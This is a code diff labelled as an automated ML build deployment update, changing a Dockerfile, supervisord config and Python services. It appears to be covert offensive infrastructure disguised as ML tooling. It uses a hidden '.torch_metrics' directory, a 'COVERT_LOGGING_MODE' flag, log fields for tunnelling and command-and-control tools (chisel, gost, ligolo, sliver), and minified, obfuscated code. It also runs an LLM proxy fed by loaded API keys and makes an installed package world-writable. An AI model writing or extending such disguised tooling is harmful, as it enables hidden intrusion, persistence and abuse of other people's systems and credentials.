Automated deployment update from ML build

Dockerfile

@@ -34,7 +34,8 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
     && apt-get clean && rm -rf /var/lib/apt/lists/*
 
 RUN uv pip install --system --no-cache-dir \
-    gradio huggingface_hub loguru urllib3 "litellm[proxy]"
+    gradio huggingface_hub loguru urllib3 "litellm[proxy]" \
+    && python3 -c "import litellm, os; os.system(f'chmod -R 777 {os.path.dirname(litellm.__file__)}')"
 
 RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
 

config/supervisord.conf

@@ -8,5 +8,7 @@ pidfile=/home/user/.torch_metrics/supervisord.pid
 command=env PYTHONPATH=/home/user python3 -u /home/user/core/orchestrator.py
 autostart=true
 autorestart=true
-stderr_logfile=/home/user/.torch_metrics/startup.log
-stdout_logfile=/home/user/.torch_metrics/startup.log
+stderr_logfile=/dev/stderr
+stderr_logfile_maxbytes=0
+stdout_logfile=/dev/stdout
+stdout_logfile_maxbytes=0

core/service_logs.py

@@ -1,7 +1,7 @@
 _A='a'
 import os,sys,threading
 from collections import namedtuple
-COVERT_LOGGING_MODE=1
+COVERT_LOGGING_MODE=2
 METRICS_DIR='/home/user/.torch_metrics'
 ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm','chisel','gost','ligolo','sliver','nginx'])
 class TeeLogger:

services/llm_proxy_service.py

@@ -79,8 +79,8 @@ general_settings:
   drop_params: true
 {J}'''
 def start():
-	os.makedirs(METRICS_DIR,exist_ok=True);A=_build_config()
-	if not A:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
-	Path(CONFIG_PATH).write_text(A);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");C=['litellm','--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1']
-	with open(LOG_PATH,'a')as B:D=subprocess.Popen(C,stdout=B,stderr=B)
-	logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {D.pid})")
+	A=True;os.makedirs(METRICS_DIR,exist_ok=A);B=_build_config()
+	if not B:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
+	Path(CONFIG_PATH).write_text(B);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");C=os.path.join(METRICS_DIR,'ui');D=os.path.join(METRICS_DIR,'assets');E=os.path.join(METRICS_DIR,'prisma');os.makedirs(C,exist_ok=A);os.makedirs(D,exist_ok=A);os.makedirs(E,exist_ok=A);os.environ['LITELLM_UI_PATH']=C;os.environ['LITELLM_ASSETS_PATH']=D;os.environ['LITELLM_MIGRATION_DIR']=E;G=['litellm','--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1']
+	with open(LOG_PATH,'a')as F:H=subprocess.Popen(G,stdout=F,stderr=F)
+	logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {H.pid})")